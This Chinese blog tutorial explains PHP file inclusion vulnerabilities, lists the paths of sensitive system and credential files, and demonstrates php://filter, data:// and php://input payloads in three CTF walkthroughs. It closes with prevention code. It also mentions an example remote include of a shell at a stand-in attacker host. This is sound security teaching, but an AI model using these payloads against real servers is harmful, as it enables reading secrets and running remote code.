文件包含

文件包含

什么是文件包含

复制代码
##### 文件包含是一种在编程中常用的技术,尤其在 Web 开发领域较为常见,它允许一个程序将另一个文件的内容整合到自身代码里

用途

  • 代码复用:能够把常用的代码封装在单独的文件里,在多个程序中重复使用,提高开发效率
  • 模块化开发:将程序拆分成多个模块,每个模块负责特定的功能,方便代码的管理和维护

漏洞产生原因

  • 动态文件包含机制
    • 应用程序使用动态包含功能(如 PHP 的include()require(),Java 的RequestDispatcher等)时,若未对用户输入的文件名进行有效过滤,攻击者可通过构造恶意路径包含任意文件
  • 路径遍历攻击
    • 攻击者通过输入类似../../etc/passwd的路径,绕过应用程序的目录限制,访问系统敏感文件
  • 远程文件包含(RFI)
    • 若服务器配置允许(如 PHP 的allow_url_includeOn),攻击者可指定远程 URL 包含恶意代码(如http://attacker.com/shell.php
  • 逻辑缺陷
    • 应用程序未正确验证文件类型或路径,导致恶意文件被执行(如将.php文件伪装成.jpg

可能利用漏洞

  • 本地文件包含(LFI):攻击者可以通过构造恶意的文件路径,让应用程序包含本地的敏感文件,像配置文件、数据库文件等,从而获取敏感信息。
  • 远程文件包含(RFI):攻击者可以诱导应用程序包含远程服务器上的恶意文件,进而执行恶意代码,控制服务器。

常见函数

  • require():找不到被包含的文件会产生致命错误,并停止脚本运行
  • include():找不到被包含的文件只会产生警告,脚本继续执行
  • **require_once()**与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
  • **include_once()**与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含

敏感文件默认路径

复制代码
#### Windows

*

  ```css
  C:\boot.ini      //查看系统版本
  C:\windows\system32\inetsrv\MetaBase.xml     //IIS配置文件
  C:\windows\repair\sam         //存储Windows系统初次安装的密码
  C:\ProgramFiles\mysql\my.ini        //Mysql配置
  C:\ProgramFiles\mysql\data\mysql\user.MYD      //MySQL root密码
  C:\windows\php.ini              //php配置信息
  C:\Windows\system.ini // 系统初始化配置文件,记录了一些早期 Windows 系统的配置信息
  C:\Windows\win.ini //Windows 系统早期的初始化配置文件,涉及系统运行、桌面设置等相关配置
  C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup // 系统开机启动项文件夹,可查看哪些程序随系统自动启动
  C:\Users\All Users\Application Data // 所有用户共享的应用程序数据文件夹,可能包含一些全局配置信息
  C:\inetpub\logs\LogFiles //IIS 服务器日志文件存放目录,可用于分析网站访问情况
  ```
复制代码
#### Linux

*

  ```css
  /etc/passwd               //账户信息
  /etc/shadow                 //账户密码信息
  /usr/local/app/apache2/conf/httpd.conf              //Apache2默认配置文件
  /usr/local/app/apache2/conf/extra/httpd-vhost.conf          //虚拟网站配置
  /usr/local/app/php5/lib/php.ini             //PHP相关配置
  /etc/httpd/conf/httpd.conf              //Apache配置文件
  /etc/my.conf                    //mysql配置文件
  /var/log/nginx/access.log             ////日志文件
  /etc/group // 用户组信息文件,记录系统中所有用户组的相关信息
  /etc/profile // 系统全局环境变量和启动脚本配置文件,用户登录时会执行其中配置
  /root/.bashrc //root 用户的 bash shell 配置文件,定义 root 用户 bash 环境的个性化设置
  /var/log/secure // 记录系统安全相关事件,如用户登录尝试(成功或失败)等信息
  /usr/local/nginx/conf/nginx.conf //Nginx 服务器默认配置文件 ,用于配置 Nginx 服务相关参数
  ```

PHP伪协议(此处只列举几个常用的)

复制代码
#### php://filter

*

  ##### 用途:用于对数据流进行过滤和转换,如 Base64 编码、HTML 实体编码等,当它与包含函数一起使用时,读取的文件由于是源码形式,会被当做php文件进行执行,故通常对其进行编码,防止被执行

*

  ##### 协议的基本格式

  *

    ```php
    php://filter/过滤器名称/resource=要读取的文件路径
    ```

*

  ##### 实例

  *

    ```php
    <?php
    $file = 'example.txt';
    $base64_encoded = file_get_contents('php://filter/convert.base64-encode/resource=' . $file);
    echo $base64_encoded;
    ?>
    ```

  *

    ##### 输出:会将"example.txt"文件的内容进行base64编码后输出
复制代码
#### php://input

*

  ##### 用途:用于读取原始的 HTTP 请求体的内容。它主要用于处理 POST 请求中发送的数据,可以接受POST请求作为输入流的输入,将请求作为输入传递给目标变量,特别是当数据是以 JSON 或 XML 格式发送,或者是其他非表单数据格式时

*

  ##### 协议的基本格式

  *

    ```php
    file=php://input
    ```

*

  ##### 实例

  *

    ```php
    //当使用此协议时,需要通过POST方法进行传参
    ```

    ![屏幕截图 2025-04-24 182923](https://img2023.cnblogs.com/blog/3633127/202504/3633127-20250424200619321-1471646781.png)
复制代码
#### data://

*

  ##### 用途:用于直接在 URL 中嵌入数据,通常用于传递小型的文本或二进制数据

*

  ##### 协议的基本格式

  *

    ```php
    file=data://[<mime-type>][;base64],<data>
    ```

  * **`<mime-type>`** :这是可选参数,用于指定数据的 MIME 类型,例如 `text/plain` 表示纯文本,`application/json` 表示 JSON 数据等。若未指定,默认的 MIME 类型是 `text/plain`。

  * **`;base64`** :同样是可选参数,若指定了这个参数,后面的 `<data>` 部分必须是经过 Base64 编码的数据。

  * **`<data>`** :这是实际要嵌入的数据内容。如果没有指定 `;base64`,则 `<data>` 为普通的文本数据;若指定了 `;base64`,则 `<data>` 需是 Base64 编码后的字符串

*

  ##### 实例

  *

    ```php
    <?php
    // 读取 Base64 编码的文本数据
    $content = file_get_contents('data://text/plain;base64,' . base64_encode('Hello, World!'));
    echo $content;
    ?>
    ```

  *

    ##### 输出:会输出原文
复制代码
#### zip://

*

  ##### 用途:用于访问 ZIP 压缩文件中的文件,这在需要直接读取或操作 ZIP 压缩包内文件时非常有用

*

  ##### 协议的基本格式

  *

    ```php
    zip://<zip_file_path>#<file_path_in_zip>
    ```

  * **`<zip_file_path>`**:ZIP 压缩文件在服务器文件系统中的完整路径。可以是相对路径(相对于当前工作目录)或绝对路径。

  * **`#`**:分隔符,用于分隔 ZIP 压缩文件路径和压缩包内文件的路径。

  * **`<file_path_in_zip>`**:ZIP 压缩包内要访问的文件的路径。该路径是相对于 ZIP 压缩包根目录的

*

  ##### 实例

  *

    ```php
    <?php
    // ZIP 压缩文件的路径
    $zipFilePath = 'path/to/your/archive.zip';
    // 压缩包内要访问的文件路径
    $fileInZip = 'example.txt';

    // 构造 zip:// 伪协议的 URL
    $url = 'zip://' . $zipFilePath . '#' . $fileInZip;

    // 读取文件内容
    $fileContent = file_get_contents($url);

    if ($fileContent === false) {
        echo "读取文件失败,可能是文件不存在或权限不足。";
    } else {
        echo $fileContent;
    }
    ?>
    ```

  *

    ##### 输出:会将在"zipFilePath"压缩包下名为"fileInZip"的文件内容输出
复制代码
#### file://

*

  ##### 用途:用于访问本地文件系统中的文件,它可以让你像访问远程资源一样访问本地文件

*

  ##### 协议基本格式

  *

    ```php
    file://<文件路径>
    ```

  * `<文件路径>` 可以是相对路径或者绝对路径。在不同操作系统中,路径的表示方式有所不同:

    * **Windows 系统** :路径使用反斜杠 `\` 作为分隔符,但在 PHP 字符串里需要用双反斜杠 `\\` 或者单斜杠 `/` 来转义。例如,`file://C:/Users/username/Documents/example.txt` 或者 `file://C:\\Users\\username\\Documents\\example.txt`。
    * **Linux 系统** :路径使用正斜杠 `/` 作为分隔符,例如 `file:///home/username/Documents/example.txt`。
*

  ##### 实例(读取文件,配合file_get_contents函数使用)

  *

    ```php
    <?php
    // Windows 系统示例
    $windowsFilePath = 'file://C:/Users/username/Documents/example.txt';
    $windowsContent = file_get_contents($windowsFilePath);
    if ($windowsContent === false) {
        echo "读取 Windows 文件失败。";
    } else {
        echo $windowsContent;
    }

    // Linux 系统示例
    $linuxFilePath = 'file:///home/username/Documents/example.txt';
    $linuxContent = file_get_contents($linuxFilePath);
    if ($linuxContent === false) {
        echo "读取 Linux 文件失败。";
    } else {
        echo $linuxContent;
    }
    ?>
    ```

  *

    ##### 写入文件,配合file_put_contents函数使用

    *

      ```php
      <?php
      // Windows 系统示例
      $windowsFilePath = 'file://C:/Users/username/Documents/output.txt';
      $data = "这是要写入文件的内容。";
      $bytesWritten = file_put_contents($windowsFilePath, $data);
      if ($bytesWritten === false) {
          echo "写入 Windows 文件失败。";
      } else {
          echo "成功写入 $bytesWritten 字节到 Windows 文件。";
      }

      // Linux 系统示例
      $linuxFilePath = 'file:///home/username/Documents/output.txt';
      $bytesWritten = file_put_contents($linuxFilePath, $data);
      if ($bytesWritten === false) {
          echo "写入 Linux 文件失败。";
      } else {
          echo "成功写入 $bytesWritten 字节到 Linux 文件。";
      }
      ?>
      ```
复制代码
#### http:// 与 https://(远程文件包含)

*

  ##### 用途:主要用于访问远程的 HTTP 或 HTTPS 资源,像网页、API 接口

*

  ##### 基本命令格式

  *

    ```php
    file = http://example.com/attack.php
    ```

*

  ##### 实例

  *

    ```php
    <?php
    // 使用 http:// 协议读取远程网页内容
    $httpUrl = 'http://example.com';
    $httpContent = file_get_contents($httpUrl);
    if ($httpContent === false) {
        echo "读取 http 资源失败。";
    } else {
        echo $httpContent;
    }

    // 使用 https:// 协议读取远程网页内容
    $httpsUrl = 'https://example.com';
    $httpsContent = file_get_contents($httpsUrl);
    if ($httpsContent === false) {
        echo "读取 https 资源失败。";
    } else {
        echo $httpsContent;
    }
    ?>
    ```

常见的过滤器(承接上处的php://filter)

复制代码
#### 字符串过滤器

*

  #### 名称:string.rot13

  *

    ##### 命令基本格式

    *

      ```php
      php://filter/read=string.rot13/resource=目标文件名
      ```

  *

    ##### 原理

    * 将字母表中的每个字母替换为其在字母表中 13 个位置之后的字母 ,对字符串进行编码或解码
  *

    ##### 实例

    *

      ```php
      <?php
      // 读取test.txt文件内容并应用string.rot13过滤器
      $content = file_get_contents("php://filter/read=string.rot13/resource=test.txt"); 
      echo $content; 
      ?>
      ```

    *

      ##### 输出:假设 test.txt 内容为`Hello, World!`,经过`string.rot13`过滤器处理后,输出`Uryyb, Jbeyq!`

*

  #### 名称:string.toupper

  *

    ##### 命令基本格式

    *

      ```php
      php://filter/read=string.toupper/resource=目标文件名
      ```

  *

    ##### 原理

    * 将字母表中的每个字母替换为大写字母 ,对字符串进行编码或解码
  *

    ##### 实例

    *

      ```php
      <?php
      // 读取test.txt文件内容并应用string.toupper过滤器
      $content = file_get_contents("php://filter/read=string.toupper/resource=test.txt"); 
      echo $content; 
      ?>
      ```

    *

      ##### 输出:假设 test.txt 内容为`Hello, World!`,经过`string.toupper`过滤器处理后,输出`HEELO,WORLD!`

  *

    #### 名称:string.tolower

    *

      ##### 功能与string.toupper差不多,只是只是将内容全部转换为小写,在此不多赘述

  *

    #### 名称:string.strip_tags(绕过死亡exit)

    *

      ##### 命令基本格式

      *

        ```php
        strip_tags ( string $str [, string|array $allowable_tags = null ] ) : string
        ```

      * **`$str`**:此为必需参数,代表要处理的字符串。

      * **`$allowable_tags`**:这是可选参数,它可以是字符串或者数组类型。该参数用于指定允许保留的标签,除此之外的标签都会被移除

    *

      ##### 原理

      * 从字符串里移除 HTML 和 PHP 标签的内置函数
    *

      ##### 实例

      *

        ```php
        <?php
        $fp = fopen('php://output', 'w');
        //允许存在标签<b><i><u>
        stream_filter_append($fp, 'string.strip_tags', STREAM_FILTER_WRITE, "<b><i><u>");
        fwrite($fp, "<b>bolded text</b> enlarged to a <h1>level 1 heading</h1>\n");
        fclose($fp);
        /* 输出: bolded text enlarged to a level 1 heading   */
        //效果与上述一样
        $fp = fopen('php://output', 'w');
        stream_filter_append($fp, 'string.strip_tags', STREAM_FILTER_WRITE, array('b','i','u'));
        fwrite($fp, "<b>bolded text</b> enlarged to a <h1>level 1 heading</h1>\n");
        fclose($fp);
        /* 输出: bolded text enlarged to a level 1 heading   */
        ?>
        ```

      *

        ##### 输出:

        ```php
        <b>bolded text</b> enlarged to a level 1 heading
        <b>bolded text</b> enlarged to a level 1 heading
        ```
复制代码
### 转换过滤器

*

  #### 名称:convert.base64-encode (decode)

  *

    ##### 基本命令格式

    *

      ```php
      php://filter/read=convert.base64-encode(convert.base64-decode)/resource=
      ```

  *

    ##### 原理

    * 将想要读取的源文件进行base64编码或者解码读取,防止源文件被当做php文件执行
  *

    ##### 实例

    *

      ```php
      <?php
      //进行base64编码,输出编码
      $fp = fopen('php://output', 'w');
      stream_filter_append($fp, 'convert.base64-encode');
      fwrite($fp, "This is a test.\n");
      fclose($fp);

      //将输入内容进行base64编码,每八个字符为一组输出
      $param = array('line-length' => 8, 'line-break-chars' => "\r\n");
      $fp = fopen('php://output', 'w');
      stream_filter_append($fp, 'convert.base64-encode', STREAM_FILTER_WRITE, $param);
      fwrite($fp, "This is a test.\n");
      fclose($fp);

      //将输入内容进行base64解码,然后输出
      $fp = fopen('php://output', 'w');
      stream_filter_append($fp, 'convert.base64-decode');
      fwrite($fp, "VGhpcyBpcyBhIHRlc3QuCg==");
      fclose($fp);
      ?>
      ```

    * 输出:

      ```php
      //第一个输出
      VGhpcyBpcyBhIHRlc3QuCg==
      //第二个输出
      VGhpcyBp
      cyBhIHRl
      c3QuCg==
      //第三个输出
      This is a test.
      ```

*

  #### 名称:convert.quoted-printable-encode (decode)

  *

    ##### 基本命令格式

    *

      ```php
      php://filter/read=convert.quoted-printable-encode(decode)/resource=
      ```

  *

    ##### 原理

    * 将数据编码为引用可打印(Quoted-Printable)格式
    * 引用可打印编码是一种文本编码方式,主要用于在只能处理 ASCII 字符的环境中安全传输包含非 ASCII 字符或特殊字符的数据。它的编码规则如下:
      * 对于 ASCII 码范围在 33 到 126 之间(除了等号 `=`)的可打印字符,保持不变。
      * 对于换行符(LF 或 CR+LF),保持不变。
      * 对于其他所有字符,包括非 ASCII 字符、控制字符和等号 `=`,将其转换为 `=` 后面跟两个十六进制数字来表示该字符的 ASCII 码值
  *

    ##### 实例

    *

      ```php
      <?php
      // 原始数据,包含非 ASCII 字符
      $originalData = "Hello, 世界!";

      // 使用过滤器进行引用可打印编码
      $encodedStream = fopen('php://filter/read=convert.quoted-printable-encode/resource=php://memory', 'r+');
      fwrite($encodedStream, $originalData);
      rewind($encodedStream);
      $encodedData = stream_get_contents($encodedStream);

      // 输出结果
      echo "原始数据: " . $originalData . "\n";
      echo "编码数据: " . $encodedData . "\n";

      // 关闭流
      fclose($encodedStream);
      ?>
      ```

    *

      ##### 输出

      ```php
      原始数据: Hello, 世界!
      编码数据: Hello, =E4=B8=96=E7=95=8C!
      ```

*

  #### 名称:convert.iconv.\*

  *

    ##### 基本命令格式

    *

      ```php
      php://filter/read=convert.iconv.<input-encoding>.<output-encoding>/resource=
      ```

  *

    ##### 原理

    * 把输入数据从一种字符编码转换为另一种字符编码,以此保证数据在不同编码环境下可正确显示和处理,它借助 PHP 的 `iconv` 函数库来实现字符编码转换,`iconv` 函数库可识别多种字符编码,并能在它们之间进行转换
  *

    ##### 实例

    *

      ```php
      <?php
      $fp = fopen('php://output', 'w');
      stream_filter_append($fp, 'convert.iconv.utf-16le.utf-8');
      fwrite($fp, "T\0h\0i\0s\0 \0i\0s\0 \0a\0 \0t\0e\0s\0t\0.\0\n\0");
      fclose($fp);
      ?>
      ```

    *

      ##### 输出

      ```php
      This is a test.
      ```

  *

    ##### php支持的编码

    *

      ```php
      UCS-4*
      UCS-4BE
      UCS-4LE*
      UCS-2
      UCS-2BE
      UCS-2LE
      UTF-32*
      UTF-32BE*
      UTF-32LE*
      UTF-16*
      UTF-16BE*
      UTF-16LE*
      UTF-7
      UTF7-IMAP
      UTF-8*
      ASCII*
      EUC-JP*
      SJIS*
      eucJP-win*
      SJIS-win*
      ISO-2022-JP
      ISO-2022-JP-MS
      CP932
      CP51932
      SJIS-mac(别名:MacJapanese)
      SJIS-Mobile#DOCOMO(别名:SJIS-DOCOMO)
      SJIS-Mobile#KDDI(别名:SJIS-KDDI)
      SJIS-Mobile#SOFTBANK(别名:SJIS-SOFTBANK)
      UTF-8-Mobile#DOCOMO(别名:UTF-8-DOCOMO)
      UTF-8-Mobile#KDDI-A
      UTF-8-Mobile#KDDI-B(别名:UTF-8-KDDI)
      UTF-8-Mobile#SOFTBANK(别名:UTF-8-SOFTBANK)
      ISO-2022-JP-MOBILE#KDDI(别名:ISO-2022-JP-KDDI)
      JIS
      JIS-ms
      CP50220
      CP50220raw
      CP50221
      CP50222
      ISO-8859-1*
      ISO-8859-2*
      ISO-8859-3*
      ISO-8859-4*
      ISO-8859-5*
      ISO-8859-6*
      ISO-8859-7*
      ISO-8859-8*
      ISO-8859-9*
      ISO-8859-10*
      ISO-8859-13*
      ISO-8859-14*
      ISO-8859-15*
      ISO-8859-16*
      byte2be
      byte2le
      byte4be
      byte4le
      BASE64
      HTML-ENTITIES(别名:HTML)
      7bit
      8bit
      EUC-CN*
      CP936
      GB18030
      HZ
      EUC-TW*
      CP950
      BIG-5*
      EUC-KR*
      UHC(别名:CP949)
      ISO-2022-KR
      Windows-1251(别名:CP1251)
      Windows-1252(别名:CP1252)
      CP866(别名:IBM866)
      KOI8-R*
      KOI8-U*
      ArmSCII-8(别名:ArmSCII8)
      ```
复制代码
### [压缩过滤器和转换过滤器](https://www.php.net/manual/zh/filters.php)(需要的自行查看,不做赘述)

实战

复制代码
#### [file_include(江苏工匠杯)](https://adworld.xctf.org.cn/challenges/list)

*

  ##### 进入,发现直接给出了源码,其中包含了一个名为check.php的文件![屏幕截图 2025-04-24 113107](https://img2023.cnblogs.com/blog/3633127/202504/3633127-20250424200618956-1627607287.png)

*

  ##### 进入hack Bar,看看是否可以直接访问此页面,发现为空白页面![屏幕截图 2025-04-24 113520](https://img2023.cnblogs.com/blog/3633127/202504/3633127-20250424200618599-1816276335.png)

*

  ##### 还记得我们上述提到的关于php读取文件的伪协议php://filter吗,payload后尝试看一下,由于存在过滤,所以payload当然越简单越好,所以我们就不带上参数(如read,write等)进行payload

  ```php
  payload
  filename=php://filter/convert.base64-encode/resource=check.php
  ```

  ![屏幕截图 2025-04-24 142455](https://img2023.cnblogs.com/blog/3633127/202504/3633127-20250424200618145-1757242919.png)
*

  ##### 发现新大陆,页面出现了"do not hack",那这大概率就是check.php这个页面会对提交的命令进行检查,如果发现不合法字符,就返回页面出现的这个命令。那么大概率是对base64进行了过滤,还记得我们上面提到的过滤器吗,先尝试一下字符过滤器![屏幕截图 2025-04-24 142605](https://img2023.cnblogs.com/blog/3633127/202504/3633127-20250424200617721-724303445.png)

*

  ##### 发现还是被过滤了,接下来尝试字符过滤器的其他类,发现都被过滤了,好吧,没关系,继续往下试,由于转换过滤器中的base64一开始就试过了,那么尝试一下其他类的,payload如下

  ```php
  filename=php://filter/convert.quoted-printable-encode/resource=check.php
  ```

  ![屏幕截图 2025-04-24 142704](https://img2023.cnblogs.com/blog/3633127/202504/3633127-20250424200617247-363968805.png)
*

  ##### 继续往下尝试,尝试 iconv 这类方法,payload如下

  ```php
  filename=php://filter/convert.iconv.utf8.utf16/resource=check.php
  ```

  ![屏幕截图 2025-04-24 142917](https://img2023.cnblogs.com/blog/3633127/202504/3633127-20250424200616803-1365524984.png)
*

  ##### 终于,也是好起来了,我们从回显中可以看到对"read""base"等关键字都进行了过滤,所以当网页对很多关键字进行过滤时,命令越简短越好![屏幕截图 2025-04-24 142917](https://img2023.cnblogs.com/blog/3633127/202504/3633127-20250424200616290-1310062175.png)

*

  ##### 最后访问flag.php页面,获得最终的flag

  ```php
  payload
  filename=php://filter/convert.iconv.utf8.utf16/resource=flag.php
  ```

  ![屏幕截图 2025-04-24 165032](https://img2023.cnblogs.com/blog/3633127/202504/3633127-20250424200615795-1368904324.png)
复制代码
#### [fileinclude(CTF)](https://adworld.xctf.org.cn/challenges/list)

*

  ##### 进入题目,发现还是以源码形式展现,这个题很简单,要求通过GET传参两个参数,其中file2需要对其进行内容检查,file1并没有要求,那我们只需要让 file2 满足要求,让 file1 来读取flag.php的内容即可![屏幕截图 2025-04-24 184327](https://img2023.cnblogs.com/blog/3633127/202504/3633127-20250424200615397-2062130035.png)

*

  ##### 那么问题来了,如何让file2的内容为"hello ctf",还记得上面讲的php伪协议吗,在这里可以运用此协议将数据写入file2中

*

  #### 方法一 data://

  *

    ##### payload如下

    ```php
    //payload1
    ?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data://text/plain,hello ctf
    //payload2
    ?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data://text/plain;base64,aGVsbG8gY3Rm
    ```

  *

    ##### 提交获得答案,进行base64解码即可![屏幕截图 2025-04-24 185310](https://img2023.cnblogs.com/blog/3633127/202504/3633127-20250424200615034-531594225.png)

*

  #### 方法二 php://input

  *

    ##### payload如下

    ```php
    ?file2=php://input&file1=php://filter/convert.base64-encode/resource=flag.php
    ```

  *

    ##### 输入此URL,打开BP进行抓包,然后写入POST参数![屏幕截图 2025-04-24 190141](https://img2023.cnblogs.com/blog/3633127/202504/3633127-20250424200614591-2068610481.png)

  *

    ##### 发送至重发模块,发送,获得flag![屏幕截图 2025-04-24 190241](https://img2023.cnblogs.com/blog/3633127/202504/3633127-20250424200614131-784204384.png)

  *

    ##### 使用BP自带的解码工具进行解码,选中编码内容,右侧获得flag![屏幕截图 2025-04-24 190417](https://img2023.cnblogs.com/blog/3633127/202504/3633127-20250424200613585-1683567154.png)
复制代码
#### [fileinclude(宜兴网信办)](https://adworld.xctf.org.cn/challenges/list)

*

  ##### 进入例题,发现直接告诉我们flag位置,还问我们要选择的语言![屏幕截图 2025-04-24 192945](https://img2023.cnblogs.com/blog/3633127/202504/3633127-20250424200613099-329059368.png)

*

  ##### 发现没有其他有用的信息,查看页面源码,代码审计,页面会对每一次的请求获取它的cookies,键为language,如果没有这个键的cookies,那么就自动设置为english,并且返回其php界面,如果有这个键的cookies,就将其加上".php"变为PHP后包含![屏幕截图 2025-04-24 193125](https://img2023.cnblogs.com/blog/3633127/202504/3633127-20250424200612723-281531713.png)

*

  ##### 那么现在思路清晰了,首先需要将cookies对应的language键对应的value设置为存在值,否则就会显示english.php这个界面,都知道出题人没有这么好心,所以我们肯定要跳出这个检查条件,然后language的值应该为什么呢,如果是english,最后会包含输出english.php这个界面,如果是chinese,最后就会包含输出chinese.php这个界面,开头给了提示,说flag在flag.php这个界面,如果language的值为flag,最后是不是就会输出flag.php,最后用上咱上面讲到的伪协议进行读取

*

  ##### payload如下

  ```php
  language=php://filter/convert.base64-encode/resource=flag
  ```

*

  ##### 使用BP抓包,发送至重发模块![屏幕截图 2025-04-24 195036](https://img2023.cnblogs.com/blog/3633127/202504/3633127-20250424200612251-1855879044.png)

*

  ##### 发现请求包中并没有cookies,在这里我们点击右边的"Request cookies"添加cookies信息![屏幕截图 2025-04-24 195304](https://img2023.cnblogs.com/blog/3633127/202504/3633127-20250424200611786-1224828967.png)

*

  ##### 添加之后,进行发送,获得编码的flag,解码后获得flag明文![屏幕截图 2025-04-24 195623](https://img2023.cnblogs.com/blog/3633127/202504/3633127-20250424200611246-1058851918.png)

预防措施

    • 白名单验证 ,如仅允许包含预定义的安全文件路径(如/var/www/include/下的文件)

      php 复制代码
      $allowed_files = ['header.php', 'footer.php'];
      if (in_array($_GET['file'], $allowed_files)) {
          include $_GET['file'];
      }
    • 禁止路径遍历符号 ,如过滤..//等字符,或使用realpath()规范化路径

      php 复制代码
      $file = realpath($_GET['file']);
      if (strpos($file, '/var/www/allowed/') !== 0) {
          die("Access denied");
      }
    • 限制文件访问范围 ,如使用open_basedir(PHP)或类似配置限制文件访问目录或避免使用相对路径,强制使用绝对路径

      php 复制代码
      ; php.ini配置
      open_basedir = "/var/www/allowed/:/tmp"
    • 禁用危险配置

      • 关闭远程文件包含功能(如 PHP 的allow_url_include = Off
      • 限制文件上传目录的执行权限(如设置为755并禁止 PHP 解析)
    • 输入转义与过滤 ,使用basename()函数获取文件名,剥离路径信息

      php 复制代码
      $file = basename($_GET['file']);
      include "/var/www/allowed/" . $file;

      对特殊字符(如?, %, #)进行 URL 解码和转义

    • 最小化文件权限

      • 确保 Web 服务器账户(如www-data)仅拥有必要的文件读取权限。
      • 敏感文件(如配置文件)存放在 Web 根目录外
    • 日志监控与应急响应

      • 记录异常文件包含请求,及时发现攻击行为。
      • 定期更新框架和依赖库,修复已知漏洞(如旧版 CMS 的文件包含漏洞)

实例代码

php 复制代码
// 安全的文件包含实现
$allowed_dir = '/var/www/allowed/';
$file = $_GET['file'];

// 1. 检查文件路径是否合法
if (!is_string($file) || empty($file)) {
    die("Invalid file");
}

// 2. 规范化路径并验证是否在允许目录内
$real_path = realpath($allowed_dir . $file);
if ($real_path === false || strpos($real_path, $allowed_dir) !== 0) {
    die("Access denied");
}

// 3. 检查文件类型(可选)
if (!preg_match('/\.(php|html)$/', $real_path)) {
    die("Invalid file type");
}

// 4. 包含文件
include $real_path;

如果文章中存在错误,还请家人们不吝指出,轻点骂,码字不易,敬请谅解